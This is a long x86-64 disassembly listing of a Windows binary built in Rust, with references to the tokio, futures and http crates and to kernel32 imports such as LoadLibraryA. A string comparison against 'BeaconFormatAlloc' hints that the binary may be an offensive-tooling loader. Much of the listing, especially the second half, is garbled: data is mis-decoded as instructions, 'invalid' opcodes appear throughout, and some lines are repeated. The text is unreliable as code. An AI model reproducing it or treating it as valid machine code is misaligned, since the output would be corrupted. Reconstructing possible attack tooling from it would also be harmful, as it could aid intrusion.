mov r14, qword [rax + 0xa0]
lock inc qword [r14]
jle case.0x1400255da.2
mov al, byte [0x1401aa510]
mov edx, 0x180
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277af
mov r9, rax
and r9, 0xffffffffffffff80
lea rdx, [r9 + 0x80]
mov qword [r9 + 0x78], rax
lea rax, [r14 + 0x68]
mov qword [r9 + 0x80], 0xcc
xor r8d, r8d
mov qword [r9 + 0x88], r8
lea rcx, [0x140114968]
mov qword [r9 + 0x90], rcx
mov qword [r9 + 0x98], r8
mov qword [r9 + 0xa0], r14
mov qword [r9 + 0xa8], rsi
lea rdi, [r9 + 0xb0]
lea rsi, [rsp + 0x330]
mov ecx, 0xd
rep movsq qword [rdi], qword [rsi]
mov qword [r9 + 0x128], r8
xorps xmm0, xmm0
movups xmmword [r9 + 0x118], xmm0
mov rcx, rax
mov qword [rsp + 0x70], rdx
mov r8, rdx
call fcn.14000801a
test rax, rax
je 0x1400270d4
add r14, 0x10
mov byte [rsp + 0x6b8], 0
lea rcx, [rsp + 0x270]
mov qword [rcx], r14
mov qword [rcx + 8], rax
lea rax, [rsp + 0x6b8]
mov qword [rcx + 0x10], rax
call fcn.1400ee777
jmp 0x1400270d4
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa0]
lock inc qword [rdi]
jle case.0x1400255da.2
mov al, byte [0x1401aa510]
mov edx, 0x180
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277af
lea r9, [rdi + 0x58]
mov r8, rax
and r8, 0xffffffffffffff80
lea rdx, [r8 + 0x80]
mov qword [r8 + 0x78], rax
mov qword [r8 + 0x80], 0xcc
xor eax, eax
mov qword [r8 + 0x88], rax
lea rcx, [0x140114b98]
mov qword [r8 + 0x90], rcx
mov qword [r8 + 0x98], rax
mov qword [r8 + 0xa0], rdi
mov qword [r8 + 0xa8], rsi
lea rdi, [r8 + 0xb0]
lea rsi, [rsp + 0x330]
mov ecx, 0xd
rep movsq qword [rdi], qword [rsi]
mov qword [r8 + 0x128], rax
xorps xmm0, xmm0
movups xmmword [r8 + 0x118], xmm0
mov rcx, r9
mov qword [rsp + 0x70], rdx
mov r8, rdx
call fcn.14000801a
test rax, rax
je 0x1400270d4
mov ecx, dword [0x1401aa514]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0xa0]
mov rdx, rax
call fcn.1400eec6f
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
mov r15, qword [rbx + 0xb8]
mov rax, qword [rbx + 0xc0]
mov ecx, dword [rbx + 0xc8]
lock inc qword [r15]
jle case.0x1400255da.2
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], rax
mov rdx, qword [rbx + 0x90]
mov r8, qword [rbx + 0x98]
lea rcx, [rsp + 0x1d0]
call fcn.140028f50
mov rdi, qword [rbx + 0x48]
mov r13, qword [rbx + 0x60]
mov rax, qword [rbx + 0x68]
mov qword [rsp + 0x88], rax
test rdi, rdi
je 0x1400271b0
lea r8, [rdi + 1]
lea r14, [rsp + 0x430]
mov edx, 0x20
mov rcx, r14
call fcn.1400358ee
mov rsi, qword [r14]
mov rbp, qword [r14 + 8]
mov r14, qword [rbx + 0x40]
lea r8, [rbp + 0x11]
mov rcx, rsi
mov rdx, r14
call fcn.1401035b1
not rdi
shl rdi, 5
add rdi, r14
mov rcx, rbp
not rcx
shl rcx, 5
add rcx, rsi
mov r8, rbp
shl r8, 5
add r8, 0x20
mov rdx, rdi
call fcn.1401035b1
mov r12, qword [rbx + 0x50]
mov r14, qword [rbx + 0x58]
jmp 0x1400271bf
lea rsi, [0x1401755c0]
xor r14d, r14d
xor r12d, r12d
xor ebp, ebp
lea rdi, [rsp + 0x288]
mov rdx, qword [rbx + 0xa8]
mov r8, qword [rbx + 0xb0]
mov rcx, rdi
call fcn.140028f50
mov rax, qword [rsp + 0x1e0]
mov qword [rdi - 8], rax
movups xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rdi - 0x18], xmm0
mov eax, 1
lock xadd qword [0x1401aa2c0], rax
mov qword [rsp + 0x6b8], rax
movaps xmm0, xmmword [rdi - 0x18]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
movaps xmm1, xmmword [rdi + 8]
movaps xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], rcx
movaps xmmword [rsp + 0x3c0], xmm1
mov qword [rsp + 0x3d0], r15
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x3d8], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x3e0], eax
mov qword [rsp + 0x3e8], rsi
mov qword [rsp + 0x3f0], rbp
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], r14
mov qword [rsp + 0x408], r13
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x410], rax
mov byte [rsp + 0x418], 0
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x420], rax
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
movabs rdi, 0x7fffffffffffffff
je 0x140027308
test eax, eax
jne 0x140027a3c
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x90]
lea rdx, [0x1400ebe4b]
call fcn.1400cef90
mov byte [rsi + 0xe0], 1
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x90]
cmp rax, rdi
jae 0x1400277a3
inc rax
mov ecx, dword [0x1401aa514]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x90], rax
mov rdi, qword [rcx + 0x98]
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0x3a0]
mov r8d, 0x88
call fcn.1401035b1
cmp rdi, 2
je 0x1400279ec
mov rax, qword [rsp + 0x4b0]
mov rsi, qword [rax]
test rdi, rdi
je 0x140027485
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0xa0]
lock inc qword [r15]
jle case.0x1400255da.2
mov al, byte [0x1401aa510]
mov edx, 0x180
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277af
mov rdx, rax
and rdx, 0xffffffffffffff80
lea r14, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rax, [r15 + 0x68]
mov qword [rdx + 0x80], 0xcc
xor r8d, r8d
mov qword [rdx + 0x88], r8
lea rcx, [0x140114b48]
mov qword [rdx + 0x90], rcx
mov qword [rdx + 0x98], r8
mov qword [rdx + 0xa0], r15
mov qword [rdx + 0xa8], rsi
lea rdi, [rdx + 0xb0]
lea rsi, [rsp + 0x3a0]
mov ecx, 0x10
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x140], r8
xorps xmm0, xmm0
movaps xmmword [rdx + 0x130], xmm0
mov rcx, rax
mov rdx, r14
mov r8, r14
call fcn.14000801a
test rax, rax
je 0x14002756f
add r15, 0x10
mov byte [rsp + 0x5f0], 0
lea rcx, [rsp + 0x1d0]
mov qword [rcx], r15
mov qword [rcx + 8], rax
lea rax, [rsp + 0x5f0]
mov qword [rcx + 0x10], rax
call fcn.1400ee777
jmp 0x14002756f
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa0]
lock inc qword [rdi]
jle case.0x1400255da.2
mov al, byte [0x1401aa510]
mov edx, 0x180
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400277af
lea rdx, [rdi + 0x58]
mov r8, rax
and r8, 0xffffffffffffff80
lea r14, [r8 + 0x80]
mov qword [r8 + 0x78], rax
mov qword [r8 + 0x80], 0xcc
xor eax, eax
mov qword [r8 + 0x88], rax
lea rcx, [0x1401149b8]
mov qword [r8 + 0x90], rcx
mov qword [r8 + 0x98], rax
mov qword [r8 + 0xa0], rdi
mov qword [r8 + 0xa8], rsi
lea rdi, [r8 + 0xb0]
lea rsi, [rsp + 0x3a0]
mov ecx, 0x10
rep movsq qword [rdi], qword [rsi]
mov qword [r8 + 0x140], rax
xorps xmm0, xmm0
movaps xmmword [r8 + 0x130], xmm0
mov rcx, rdx
mov rdx, r14
mov r8, r14
call fcn.14000801a
test rax, rax
je 0x14002756f
mov ecx, dword [0x1401aa514]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0xa0]
mov rdx, rax
call fcn.1400eec6f
mov rdi, qword [rsp + 0xd0]
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
mov qword [rbx + 0xd8], r14
mov byte [rbx + 0xd0], 1
mov rdx, qword [rsp + 0x70]
mov qword [rbx + 0xe0], rdx
mov r8, qword [rdi]
lea rsi, [rsp + 0x430]
mov rcx, rsi
call fcn.140008e33
mov rsi, qword [rsi]
cmp rsi, 2
jne 0x1400275d2
mov sil, 1
mov dil, 3
jmp 0x140027734
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x300], rax
movups xmm0, xmmword [rsp + 0x438]
and al, 0x38
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x2f0], eax
and al, 0x38
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x2f0], eax
mov rcx, qword [rbx + 0xe0]
mov edx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rcx], rdx
je 0x140027611
mov rax, qword [rcx + 0x10]
call qword [rax + 0x20]
test rsi, rsi
jne 0x1400278a1
mov byte [rbx + 0xd0], 0
mov rdx, qword [rbx + 0xd8]
mov r8, qword [rdi]
lea rsi, [rsp + 0x430]
mov rcx, rsi
call fcn.140008e33
mov rsi, qword [rsi]
cmp rsi, 2
jne 0x14002764f
mov sil, 1
mov dil, 4
jmp 0x140027734
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x320], rax
movups xmm0, xmmword [rsp + 0x438]
movaps xmmword [rsp + 0x310], xmm0
mov rcx, qword [rbx + 0xd8]
mov edx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rcx], rdx
je 0x14002768e
mov rax, qword [rcx + 0x10]
call qword [rax + 0x20]
test rsi, rsi
jne 0x1400277e8
mov byte [rbx + 0xd0], 0
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rbx + 0x48]
call fcn.140002327
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
call fcn.140002327
mov rax, qword [rbx + 0xb8]
lock dec qword [rax]
jne 0x1400276d1
mov rcx, qword [rbx + 0xb8]
call fcn.1400c313e
cmp qword [rbx + 0xa0], 0
je 0x1400276f1
mov r8, qword [rbx + 0xa8]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbx + 0x88], 0
je 0x140027711
mov r8, qword [rbx + 0x90]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dil, 1
cmp qword [rbx + 0x70], 0
je 0x140027732
mov r8, qword [rbx + 0x78]
mov rcx, qword [0x1401aa478]
xor esi, esi
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140027734
xor esi, esi
mov byte [rbx + 0xd1], dil
mov eax, esi
movaps xmm6, xmmword [rsp + 0x790]
movaps xmm7, xmmword [rsp + 0x7a0]
movaps xmm8, xmmword [rsp + 0x7b0]
add rsp, 0x7c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twiceC:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_streaminto_future.rs
xor ecx, ecx
xor edx, edx
call fcn.140104820
lea rcx, str.called_after_completeC:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_0.2.25_src_synconeshot.rs
lea r8, [0x140179830]
lea eax, [0x140179830]
lea eax, [0x140179830]
mov edx, 0x15
call fcn.140106aac
ud2
mov ecx, 8
mov edx, 0x30
call fcn.140103be0
lea rcx, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtimecontextcurrent.rs
call fcn.140104b40
mov ecx, 0x80
mov edx, 0x100
call fcn.140103be0
lea rcx, [0x1401155d0]
call fcn.140104e90
mov ecx, 1
mov edx, 0x44
call fcn.140103bc0
mov ecx, 8
mov edx, 0xd0
call fcn.140103bc0
mov rax, qword [rsp + 0x320]
lea r8, [rsp + 0x430]
mov qword [r8 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x310]
movaps xmmword [r8], xmm0
lea rax, [0x140115620]
mov qword [rsp + 0x20], rax
lea rcx, str.Error_in_task2
jmp 0x1400278d4
mov ecx, 8
mov edx, 0x2220
call fcn.140103be0
mov ecx, 8
mov edx, 0x68
call fcn.140103be0
mov ecx, 8
mov edx, 0x48
call fcn.140103be0
mov ecx, 1
mov edx, 0x1d
call fcn.140103bc0
movups xmm0, xmmword [rsp + 0x5f0]
movups xmm1, xmmword [rsp + 0x600]
lea r8, [rsp + 0x1d0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str._rustc_ab5bda1aa70f707014e2e691e43bc37a8819252alibrary_std_src_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x14016c1c8]
mov edx, 0x2f
call fcn.140104ba0
mov rax, qword [rsp + 0x300]
lea r8, [rsp + 0x430]
mov qword [r8 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [r8], xmm0
lea rax, [0x1401155f8]
mov qword [rsp + 0x20], rax
lea rcx, str.Error_in_task1
lea r9, [0x1401146f0]
mov edx, 0xe
call fcn.140104ba0
mov ecx, 8
mov edx, 0x1d0
call fcn.140103be0
lock dec qword [r14]
jne 0x140027907
lea rcx, [rsp + 0x1d0]
call fcn.14006fb23
lock dec qword [r12]
jne 0x140027916
mov rcx, r12
call fcn.1400eb0ac
xor ecx, ecx
mov rdx, rsi
call fcn.1400ac388
mov rdi, rax
lea rcx, [rsp + 0x78]
call fcn.1400c357f
jmp 0x140027950
mov ecx, 8
mov edx, 0x18
call fcn.140103be0
call fcn.140106a69
lea rcx, [rsp + 0x100]
call fcn.1400f1c45
lea rcx, [rsp + 0x60]
call fcn.1400c3248
lea r8, [rsp + 0x430]
mov qword [r8], rdi
lea rax, [0x140115578]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140001b7c
mov edx, 0x2b
call fcn.140104ba0
lea rax, [0x140115498]
lea rcx, [rsp + 0x430]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019e2d0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, [0x1401154a8]
call fcn.1401047d0
lea rcx, [rsp + 0x430]
call fcn.1400022c5
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
xor eax, eax
jmp 0x140027a26
lea rcx, [rsp + 0x430]
call fcn.140002258
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
xor eax, eax
jmp 0x140027a4b
lea rcx, [rsp + 0x330]
call fcn.1400022c5
mov al, 1
lea rcx, [rsp + 0x430]
mov byte [rcx], al
lea rdx, [0x1401155a0]
call fcn.1401036fc
lea rcx, [rsp + 0x3a0]
call fcn.140002258
mov al, 1
lea rcx, [rsp + 0x430]
mov byte [rcx], al
lea rdx, [0x1401155b8]
call fcn.1401036fc
int3
insb byte [rdi], dx
invalid
cli
or dword [rdi + 0x14], esi
and byte [rbp + rdx - 0x7d], dh
stc
and esi, dword [rbp + 0x27]
mov cl, 1
jmp 0x14002af94
mov cl, 8
jmp 0x14002af94
mov cl, 2
jmp 0x14002af94
or ch, cl
mov ecx, 1
add byte [rbp + 0x31], al
leave
cmovbe ecx, dword [rbp - 0xb7bff4]
sar dword [rax], 0x48
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
ror byte [rcx + rcx*4 - 0x74], cl
and al, 0xa8
add byte [rax], al
add byte [rdi], cl
test byte [rdi + 0x48000000], dl
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], cl
enter 0xffffffffffffb941, 1
add byte [rax], al
add byte [rdx - 0x673e7ff8], cl
rol byte [rax + 0x737709f9], cl
lea eax, [0x14019f2ac]
cmp ebx, 1
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x7d], cl
ret
inc eax
retf
add al, byte [rax]
add byte [rax - 0x7af093c7], al
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rax - 0x7d], cl
ret
or byte [rax - 1], cl
ror byte [rax - 1], 0xcb
retf
retf
mov eax, ecx
add byte [rax], al
add byte [rax - 0x7b], cl
in eax, dx
and al, 0x88
add byte [rax], al
add byte [rcx], dh
mov byte [rax], al
add byte [rax], al
invalid
cmp eax, 0x20
add byte [rax], al
add byte [rdi + 0x3e], dh
add byte [rax], al
lea ecx, [0x14019f2f0]
or dword [rcx + rax - 0x37], 0xb60fe1ff
ret 0x8d48
loope 0x14002b1c6
mov dh, 0xc2
mov ah, 0x41
invalid
invalid
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
enter 0xffffffffffffe0ff, 0x48
mov eax, dword [rsp + 0x28]
or byte [rax - 0x77], cl
and al, 0x28
invalid
sub byte [rax - 0x75], cl
adc byte [rax + 5], bh
add byte [rax], al
mov edx, dword [rax]
add byte [rax], al
add cl, ch
or dword [rdx], eax
add byte [rax], al
invalid
add byte [rbp - 0x57c40af], cl
invalid
add eax, 0x1740dd
or al, 0x90
loope 0x14002b249
mov ecx, dword [rsp + 0x28]
sub byte [rax - 0x73], cl
push rcx
or byte [rax - 0x77], cl
push rsp
and al, 0x28
rol dword [rcx - 0x80], 0xc9
invalid
pop rbp
push rsp
and al, 0x28
rol dword [rcx - 0x80], 0xc9
add al, 0xeb
invalid
cmp al, 0x48
mov ecx, dword [rsp + 0x28]
push rcx
or byte [rax - 0x77], cl
push rsp
and al, 0x28
add byte [rdi + rdi*4], al
rol dword [rcx - 0x80], 0xc9
add ch, bl
sbb ecx, dword [rax - 0x75]
mov rcx, qword [rsp + 0x28]
xchg edx, eax
sal dword [rax + 0x448b4404], 0x24
and al, 0xe9
invalid
add byte [rax], al
and al, 0x54
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
sub al, ch
adc ch, byte [rax + 4]
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x40
and al, 0x48
add ch, cl
rol dword [rax], 1
add byte [rax], al
lea ecx, [rax + 8]
adc eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x28
mov eax, dword [rsp + 0x28]
lea ecx, [rax + 8]
and al, 0x28
mov dword [rsp + 0x28], ecx
sub byte [rbx + rcx*4 + 0x18], cl
or eax, dword [rbp - 0x77]
invalid
mov ebx, dword [rsp + 0x40]
or ebx, ebp
pop rdi
or byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
mov rdx, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x40]
dec ebx
add byte [rax], al
mov dword [rsp + 0x24], eax
and al, 0x30
mov dword [rsp + 0x70], edx
add byte [rcx + 0x44782444], cl
mov byte [rsp + 0x7c], ch
push rsp
and al, 0x58
add byte [rax], al
add byte [rax - 1], cl
ret 0x8548
invalid
invalid
add byte [rax], al
add byte [rax + 0xf], cl
cmovae rax, rbx
and al, 0x78
jo 0x14002b5c5
mov ecx, dword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x58]
add byte [rax], al
lea edx, [rsp + 0x58]
sar byte [rax + 0x18], 0x45
add ebp, esi
pop rdi
add eax, 0xeb0b6
mov ecx, edi
push 0xffffffffb60f4504
pop rax
or byte [rbp + 0xf], al
mov dh, 0x50
push rax
push rax
or dword [rbp - 0x75], ecx
adc byte [rcx - 0x75], cl
sbb byte [rax - 0x77], cl
and al, 0x50
add byte [rax], al
sub eax, 0xf6000004
ret 0xf02
invalid
ror byte [rdi], 0x85
stosd dword [rdi], eax
add byte [rax], al
add byte [rax], al
xor eax, eax
lea r14, [rsp + 0x68]
test ebx, ebx
invalid
mov ecx, ebp
add byte [rax], al
fisttp dword [rcx - 0x34bbf017]
invalid
add eax, 0x45f8a
adc eax, 0xc18c
add byte [rax], al
add byte [rbp - 0x77], cl
add dword [rbp - 0x77], ecx
or byte [r9 - 0x46], al
add al, byte [rax]
add byte [rax], al
fldcw word [rbx]
invalid
mov byte [rdi], 0
add dh, dh
ret 0xf04
push rsp
and al, 0x40
or byte [rax - 0x73], cl
or eax, 0x18809
lea ecx, [0x140044140]
or dword [rcx - 0x77], ecx
or byte [r9 - 0x46], al
add al, byte [rax]
add byte [rax], al
and byte [rcx - 0x39], cl
sub byte [r8], spl
add byte [rax], al
add byte [rcx - 0x3a], al
xor byte [r11], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
add cl, byte [rax - 0x77]
or byte [rcx + r9*4 + 0x4a], cl
and byte [rax - 0x77], cl
sub byte [rcx + r9*4 + 0x42], cl
adc byte [rcx + rcx*4 + 0x52], cl
push rdx
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
or byte [rax - 0x73], cl
or eax, 0x17b8b
mov dword [rdi + 0x10], eax
add byte [rbp - 0x77], cl
and byte [r9 - 0x39], r9b
sub byte [r8], r12b
and byte [rax], al
add byte [rax], al
mov al, 3
mov byte [r15 + 0x30], al
mov byte [rdi + 0x30], al
lea rax, [0x14019e3b8]
and byte [rax], al
add byte [rax], al
mov byte [rdi + 0x30], al
push 0x48008b48
inc eax
xlatb
add byte [rax + 0x63], cl
invalid
lea ecx, [rsp + 0x38]
lea eax, [0x140044180]
sbb al, 0xfb
invalid
and al, 0x68
rol byte [rbp + 0x6b8db], 0
add byte [rdi], cl
call 0x188f83146
lea eax, [rsp + 0x40]
ret
jmp rax
and al, 0x20
lea rax, [0x140177d1c]
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.14003f6a0
add dword [rax], eax
add dword [rax], eax
nop
add rsp, 0x38
ret
sub rsp, 0x40
mov rsi, rdx
mov rax, qword [rcx]
mov r14, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x14019d6f0]
lea edx, [0x14019d6f0]
lea edx, [0x14019d6f0]
mov r8d, 1
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
and al, 0x28
and al, 0x28
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
test r15, r15
je 0x14002cfe8
add r15, r15
lea rsi, [0x14004c677]
lea esi, [0x14004c677]
lea esi, [0x14004c677]
add esi, 2
add edi, 0xfffffffe
invalid
invalid
push rax
sbb byte [rcx + 0x48c889c1], cl
add esp, 0x40
cmp edx, 5
mov ecx, 2
cmovb rcx, rdx
cmp rcx, 3
je 0x14002d046
cmp rcx, 2
jne 0x14002d052
add dh, byte [rbp + 0x14]
add rax, 8
lea rdx, fcn.14002d22c
mov edi, 0xc3000e94
invalid
ror byte [rax - 1], cl
and eax, 0xdc419
add edx, eax
jmp rdx
pop rsi
ret
jmp qword [rax + 0x10]
add dword [rax - 0x46], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x74d03948], al
sbb dword [rax - 0x7b], ecx
sal byte [rsp + rdx + 0x4c], 0x8b
adc al, 0x4c
mov eax, dword [rcx + 8]
mov rcx, qword [0x1401aa478]
adc al, 0x4c
mov eax, dword [rcx + 8]
mov rcx, qword [0x1401aa478]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
sub rsp, 0x68
mov rax, rdx
lea rdx, [rsp + 0x60]
lea edx, [rsp + 0x60]
lea edx, [rsp + 0x60]
mov qword [rdx], rcx
add rcx, 0x18
sbb byte [rbp + rcx*4 + 5], cl
int1
xchg ecx, eax
invalid
invalid
sbb byte [rbp + rcx*4 + 5], cl
int1
xchg ecx, eax
invalid
lea eax, [0x1401165c8]
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], rdx
mov edx, 5
mov qword [rsp + 0x40], rdx
push rsp
and al, 0x40
push rsp
and al, 0x40
lea r8, str.inner
mov qword [rsp + 0x38], r8
lea r8, [0x140116418]
add eax, 0xe901a
add eax, 0xe901a
mov qword [rsp + 0x30], r8
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
lea rdx, str.ContainsNul
adc eax, 0xe91a4
adc eax, 0xe91a4
lea r9, [0x140156466]
lea ecx, [0x140156466]
lea eax, [rsp + 0x28]
mov qword [rax], rcx
mov dword [rax], ecx
lea ecx, [0x140116610]
mov dword [rax + 8], ecx
or byte [rcx - 0x39], cl
and byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
int1
mov dh, 0
add byte [rax + 0x68c48348], dl
add esp, 0x68
sbb byte [r8 - 0x73], cl
adc eax, 0xe8c70
ret
add byte [rax - 0x77], cl
invalid
add byte [rax], al
invalid
ror byte [rax - 0x75], 0x8d
and byte [rdx], al
add byte [rax], al
push 0x48000001
mov ecx, esi
mov dword [rbp + 0x190], 2
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea esp, [rax]
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
mov ebp, 0x168
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x170]
movq mm0, qword [rbp + 0x120]
test dword [rax], esi
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax - 0x80000000], eax
mov ebp, 0x210
add al, byte [rax]
add byte [rax], al
lea rdx, [rbp + 0x90]
je 0x14002fcc0
xor r12d, r12d
add al, byte [rax]
add byte [rax], al
test byte [rax + rax - 0x74b80000], dl
mov ebp, 0x190
add byte [rax], al
mov r8, rdi
add byte [rax], al
pmovmskb eax, mm1
mov rax, qword [rbp + 0x220]
movdqu xmm0, xmmword [rax]
add al, byte [rax]
add bl, dh
movq mm0, qword [rax]
je 0x14002fe30
movd xmm1, dword [rax + 0x10]
pcmpeqb xmm1, xmm11
pand xmm1, xmm0
pmovmskb eax, xmm1
lea r12, [0x14002db9b]
cmp eax, 0xffff
je 0x14003088d
mov rcx, qword [rbp + 0x220]
lea rdx, [0x140116808]
imul ecx, dword [rsi], 0xf8894d00
mov eax, edi
call sub.VCRUNTIME140.dll_memcmp
lea r12, [0x14002e04b]
test eax, eax
ror byte [rdi], 0x84
fimul dword [rcx]
add byte [rax], al
add byte [rax], al
invalid
enter 0xffffffffffff8b48, 0x4a
invalid
invalid
push rbx
push 0x4874726f
xor ecx, edx
je 0x14003009a
xor ecx, edx
ror dword [rbp + rcx*4 + 0x25], 0xea
invalid
invalid
mov esp, dword [sym.imp.kernel32.dll_LoadLibraryA]
and eax, 0xd9310
inc dword [rax]
add byte [rdi], cl
test byte [rsi + 7], ah
add byte [rax], al
add byte [rax], al
je 0x14003088d
mov rax, qword [rbp + 0x220]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmmword [str.BeaconFormatAlloc]
movzx eax, byte [rax + 0x10]
movd xmm1, eax
pcmpeqb xmm1, xmmword [0x140114250]
pand xmm1, xmm0
pmovmskb eax, xmm1
lea r12, [fcn.14002d990]
and eax, 0xffffd837
inc dword [rax]
add byte [rdi], cl
test byte [rcx], ch
invalid
cmp dword [rbp + rcx - 0x1b7ab300], ecx
cli
invalid
add byte [rax], al
test esp, esp
mov eax, 0x1008
invalid
add byte [rax], al
sbb cl, byte [rbx + rcx*4 + 0x46]
or byte [rax - 0x75], cl
or eax, 0x179b28
adc eax, 0xe566e
invalid
or eax, 0x858d4800
sbb byte [rcx], al
add byte [rax], al
invalid
in al, dx
mov ecx, dword [rsp + 0x110]
mov esp, 0x1b024
add byte [rbx + 0xc], dh
add byte [rax], al
or byte [rax], cl
mov dh, 0x46
add al, byte [rcx - 0x3f]
shl edx, 6
shl edx, 6
invalid
rol byte [rcx - 0x80], 1
stc
invalid
insd dword [rdi], dx
add al, 0xeb
and ecx, dword [rcx - 0x73]
invalid
invalid
push rsi
add al, cl
loope 0x140032e20
invalid
or ecx, edx
or ecx, eax
loope 0x140032e30
add al, byte [rcx - 0x3f]
loop 0x140032e8c
and ecx, 0x3f
rol dword [rcx - 0x80], 1
clc
invalid
add al, 0xeb
invalid
jl 0x140032f23
add byte [rax], al
add byte [rax], al
add cl, ch
sub eax, 0x80000028
add byte [rax], al
cmp cl, 3
invalid
add byte [rax], al
cmp cl, 3
movzx eax, cl
mov dh, 0xc1
